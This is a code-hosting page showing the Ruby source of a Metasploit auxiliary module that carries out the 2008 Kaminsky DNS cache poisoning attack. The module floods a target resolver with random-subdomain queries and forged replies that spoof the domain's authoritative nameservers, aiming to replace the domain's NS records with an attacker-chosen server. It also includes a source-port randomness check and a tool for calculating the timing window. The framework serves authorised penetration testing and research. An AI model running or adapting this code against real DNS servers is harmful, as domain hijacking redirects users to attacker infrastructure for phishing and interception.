Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/spoof/dns/bailiwicked_domain.rb
21545 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'English'
7
require 'net/dns'
8
require 'resolv'
9
10
class MetasploitModule < Msf::Auxiliary
11
include Msf::Exploit::Capture
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'DNS BailiWicked Domain Attack',
18
'Description' => %q{
19
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
20
Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target
21
domains nameserver entries in a vulnerable DNS cache server. This attack works
22
by sending random hostname queries to the target DNS server coupled with spoofed
23
replies to those queries from the authoritative nameservers for that domain.
24
Eventually, a guessed ID will match, the spoofed packet will get accepted, and
25
the nameserver entries for the target domain will be replaced by the server
26
specified in the NEWDNS option of this exploit.
27
},
28
'Author' => [
29
'I)ruid', 'hdm',
30
# Cedric figured out the NS injection method
31
# and was cool enough to email us and share!
32
'Cedric Blancher <sid[at]rstack.org>'
33
],
34
'License' => MSF_LICENSE,
35
'References' => [
36
[ 'CVE', '2008-1447' ],
37
[ 'OSVDB', '46776'],
38
[ 'US-CERT-VU', '800113' ],
39
[ 'URL', 'http://web.archive.org/web/20160527135835/http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ],
40
],
41
'DisclosureDate' => '2008-07-21',
42
'Notes' => {
43
'Stability' => [SERVICE_RESOURCE_LOSS],
44
'SideEffects' => [IOC_IN_LOGS],
45
'Reliability' => []
46
}
47
)
48
)
49
50
register_options(
51
[
52
OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),
53
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
54
OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']),
55
OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]),
56
OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),
57
OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),
58
OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(30000..49999)]),
59
]
60
)
61
62
deregister_options('FILTER', 'PCAPFILE')
63
end
64
65
def auxiliary_commands
66
return {
67
'racer' => 'Determine the size of the window for the target server'
68
}
69
end
70
71
def cmd_racer(*args)
72
targ = args[0] || rhost
73
dom = args[1] || 'example.com'
74
75
if !(targ && !targ.empty?)
76
print_status('usage: racer [dns-server] [domain]')
77
return
78
end
79
80
calculate_race(targ, dom)
81
end
82
83
def check
84
targ = rhost
85
86
srv_sock = Rex::Socket.create_udp(
87
'PeerHost' => targ,
88
'PeerPort' => 53
89
)
90
91
random = false
92
ports = {}
93
lport = nil
94
reps = 0
95
96
1.upto(30) do |i|
97
req = Resolv::DNS::Message.new
98
txt = "spoofprobe-check-#{i}-#{$PROCESS_ID}#{(rand * 1000000).to_i}.red.metasploit.com"
99
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
100
req.rd = 1
101
102
srv_sock.put(req.encode)
103
res, = srv_sock.recvfrom(65535, 1.0)
104
105
if res && !res.empty?
106
reps += 1
107
res = Resolv::DNS::Message.decode(res)
108
res.each_answer do |name, _ttl, data|
109
next unless (name.to_s == txt) && data.strings.join('') =~ (/^([^\s]+)\s+.*red\.metasploit\.com/m)
110
111
t_addr, t_port = ::Regexp.last_match(1).split(':')
112
113
vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
114
t_port = t_port.to_i
115
if lport && (lport != t_port)
116
random = true
117
end
118
lport = t_port
119
ports[t_port] ||= 0
120
ports[t_port] += 1
121
end
122
end
123
124
if (i > 5) && ports.keys.empty?
125
break
126
end
127
end
128
129
srv_sock.close
130
131
if ports.keys.empty?
132
vprint_error('ERROR: This server is not replying to recursive requests')
133
return Exploit::CheckCode::Unknown
134
end
135
136
if (reps < 30)
137
vprint_warning('WARNING: This server did not reply to all of our requests')
138
end
139
140
if random
141
ports_u = ports.keys.length
142
ports_r = ((ports.keys.length / 30.0) * 100).to_i
143
vprint_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
144
if (ports_r != 100)
145
vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
146
# Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
147
return Exploit::CheckCode::Appears
148
end
149
else
150
vprint_error('FAIL: This server uses a static source port and is vulnerable to poisoning')
151
return Exploit::CheckCode::Vulnerable
152
end
153
154
Exploit::CheckCode::Safe
155
end
156
157
def run
158
check_pcaprub_loaded # Check first
159
target = rhost
160
source = Rex::Socket.source_address(target)
161
saddr = datastore['SRCADDR']
162
sport = datastore['SRCPORT']
163
domain = datastore['DOMAIN'] + '.'
164
newdns = datastore['NEWDNS']
165
recons = datastore['RECONS']
166
xids = datastore['XIDS'].to_i
167
newttl = datastore['TTL'].to_i
168
xidbase = rand(20000..40000)
169
numxids = xids
170
address = Rex::Text.rand_text(4).unpack('C4').join('.')
171
172
srv_sock = Rex::Socket.create_udp(
173
'PeerHost' => target,
174
'PeerPort' => 53
175
)
176
177
# Get the source port via the metasploit service if it's not set
178
if sport.to_i == 0
179
req = Resolv::DNS::Message.new
180
txt = "spoofprobe-#{$PROCESS_ID}#{(rand * 1000000).to_i}.red.metasploit.com"
181
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
182
req.rd = 1
183
184
srv_sock.put(req.encode)
185
res, = srv_sock.recvfrom
186
187
if res && !res.empty?
188
res = Resolv::DNS::Message.decode(res)
189
res.each_answer do |name, _ttl, data|
190
next unless (name.to_s == txt) && data.strings.join('') =~ (/^([^\s]+)\s+.*red\.metasploit\.com/m)
191
192
t_addr, t_port = ::Regexp.last_match(1).split(':')
193
sport = t_port.to_i
194
195
print_status("Switching to target port #{sport} based on Metasploit service")
196
if target != t_addr
197
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
198
end
199
end
200
end
201
end
202
203
# Verify its not already poisoned
204
begin
205
query = Resolv::DNS::Message.new
206
query.add_question(domain, Resolv::DNS::Resource::IN::NS)
207
query.rd = 0
208
209
loop do
210
cached = false
211
srv_sock.put(query.encode)
212
answer, = srv_sock.recvfrom
213
214
if answer && !answer.empty?
215
answer = Resolv::DNS::Message.decode(answer)
216
answer.each_answer do |name, ttl, data|
217
next unless ((name.to_s + '.') == domain) && (data.name.to_s == newdns)
218
219
t = Time.now + ttl
220
print_error("Failure: This domain is already using #{newdns} as a nameserver")
221
print_error(" Cache entry expires on #{t}")
222
srv_sock.close
223
close_pcap
224
break
225
end
226
227
end
228
break if !cached
229
end
230
rescue ::Interrupt
231
raise $ERROR_INFO
232
rescue StandardError => e
233
print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
234
end
235
236
res0 = Net::DNS::Resolver.new(nameservers: [recons], dns_search: false, recursive: true) # reconnaissance resolver
237
238
print_status "Targeting nameserver #{target} for injection of #{domain} nameservers as #{newdns}"
239
240
# Look up the nameservers for the domain
241
print_status "Querying recon nameserver for #{domain}'s nameservers..."
242
answer0 = res0.send(domain, Net::DNS::NS)
243
# print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
244
245
barbs = [] # storage for nameservers
246
answer0.answer.each do |rr0|
247
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
248
next unless rr0.type == 'NS'
249
250
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
251
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
252
# print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
253
answer1.answer.each do |rr1|
254
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
255
res2 = Net::DNS::Resolver.new(nameservers: rr1.address, dns_search: false, recursive: false, retry: 1)
256
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
257
answer2 = res2.send(domain, Net::DNS::SOA)
258
next unless answer2 && answer2.header.auth? && (answer2.header.anCount >= 1)
259
260
nsrec = { name: rr0.nsdname, addr: rr1.address }
261
barbs << nsrec
262
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
263
end
264
end
265
266
if barbs.empty?
267
print_status('No DNS servers found.')
268
srv_sock.close
269
close_pcap
270
return
271
end
272
273
if (xids == 0)
274
print_status('Calculating the number of spoofed replies to send per query...')
275
qcnt = calculate_race(target, domain, 100)
276
numxids = ((qcnt * 1.5) / barbs.length).to_i
277
if (numxids == 0)
278
print_status('The server did not reply, giving up.')
279
srv_sock.close
280
close_pcap
281
return
282
end
283
print_status("Sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")
284
end
285
286
# Flood the target with queries and spoofed responses, one will eventually hit
287
queries = 0
288
responses = 0
289
290
open_pcap unless capture
291
292
print_status("Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...")
293
294
loop do
295
randhost = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain # randomize the hostname
296
297
# Send spoofed query
298
req = Resolv::DNS::Message.new
299
req.id = rand(2**16)
300
req.add_question(randhost, Resolv::DNS::Resource::IN::A)
301
302
req.rd = 1
303
304
src_ip = source
305
306
if (saddr == 'Random')
307
src_ip = Rex::Text.rand_text(4).unpack('C4').join('.')
308
end
309
310
p = PacketFu::UDPPacket.new
311
p.ip_saddr = src_ip
312
p.ip_daddr = target
313
p.ip_ttl = 255
314
p.udp_sport = (rand((2**16) - 1024) + 1024).to_i
315
p.udp_dport = 53
316
p.payload = req.encode
317
p.recalc
318
319
capture_sendto(p, target)
320
queries += 1
321
322
# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
323
req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))
324
req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(newdns)))
325
req.add_additional(newdns, newttl, Resolv::DNS::Resource::IN::A.new(address)) # Ignored
326
req.qr = 1
327
req.aa = 1
328
329
# Reuse our PacketFu object
330
p.udp_sport = 53
331
p.udp_dport = sport.to_i
332
333
xidbase.upto(xidbase + numxids - 1) do |id|
334
req.id = id
335
p.payload = req.encode
336
barbs.each do |barb|
337
p.ip_saddr = barb[:addr].to_s
338
p.recalc
339
capture_sendto(p, target)
340
responses += 1
341
end
342
end
343
344
# status update
345
if queries % 1000 == 0
346
print_status("Sent #{queries} queries and #{responses} spoofed responses...")
347
if (xids == 0)
348
print_status('Recalculating the number of spoofed replies to send per query...')
349
qcnt = calculate_race(target, domain, 25)
350
numxids = ((qcnt * 1.5) / barbs.length).to_i
351
if (numxids == 0)
352
print_status('The server has stopped replying, giving up.')
353
srv_sock.close
354
close_pcap
355
return
356
end
357
print_status("Now sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")
358
end
359
end
360
361
# every so often, check and see if the target is poisoned...
362
next unless queries % 250 == 0
363
364
begin
365
query = Resolv::DNS::Message.new
366
query.add_question(domain, Resolv::DNS::Resource::IN::NS)
367
query.rd = 0
368
369
srv_sock.put(query.encode)
370
answer, = srv_sock.recvfrom
371
372
if answer && !answer.empty?
373
answer = Resolv::DNS::Message.decode(answer)
374
answer.each_answer do |name, _ttl, data|
375
next unless ((name.to_s + '.') == domain) && (data.name.to_s == newdns)
376
377
print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{domain} == #{newdns}")
378
srv_sock.close
379
close_pcap
380
break
381
end
382
end
383
rescue ::Interrupt
384
raise $ERROR_INFO
385
rescue StandardError => e
386
print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
387
end
388
end
389
end
390
391
#
392
# Send a recursive query to the target server, then flood
393
# the server with non-recursive queries for the same entry.
394
# Calculate how many non-recursive queries we receive back
395
# until the real server responds. This should give us a
396
# ballpark figure for ns->ns latency. We can repeat this
397
# a few times to account for each nameserver the cache server
398
# may query for the target domain.
399
#
400
def calculate_race(server, domain, num = 50)
401
cnt = 0
402
403
times = []
404
405
hostname = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain
406
407
sock = Rex::Socket.create_udp(
408
'PeerHost' => server,
409
'PeerPort' => 53
410
)
411
412
req = Resolv::DNS::Message.new
413
req.add_question(hostname, Resolv::DNS::Resource::IN::A)
414
req.rd = 1
415
req.id = 1
416
417
q_beg_t = Time.now.to_f
418
sock.put(req.encode)
419
req.rd = 0
420
421
while (times.length < num)
422
res, = sock.recvfrom(65535, 0.01)
423
424
if res && !res.empty?
425
res = Resolv::DNS::Message.decode(res)
426
427
if (res.id == 1)
428
times << [Time.now.to_f - q_beg_t, cnt]
429
cnt = 0
430
431
hostname = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain
432
433
sock.close
434
sock = Rex::Socket.create_udp(
435
'PeerHost' => server,
436
'PeerPort' => 53
437
)
438
439
q_beg_t = Time.now.to_f
440
req = Resolv::DNS::Message.new
441
req.add_question(hostname, Resolv::DNS::Resource::IN::A)
442
req.rd = 1
443
req.id = 1
444
445
sock.put(req.encode)
446
req.rd = 0
447
end
448
449
cnt += 1
450
end
451
452
req.id += 1
453
454
sock.put(req.encode)
455
end
456
457
min_time = (times.map { |i| i[0] }.min * 100).to_i / 100.0
458
max_time = (times.map { |i| i[0] }.max * 100).to_i / 100.0
459
sum = 0
460
times.each { |i| sum += i[0] }
461
avg_time = ((sum / times.length) * 100).to_i / 100.0
462
463
min_count = times.map { |i| i[1] }.min
464
max_count = times.map { |i| i[1] }.max
465
sum = 0
466
times.each { |i| sum += i[1] }
467
avg_count = sum / times.length
468
469
sock.close
470
471
print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}")
472
473
# XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times)
474
avg_count
475
end
476
end
477
478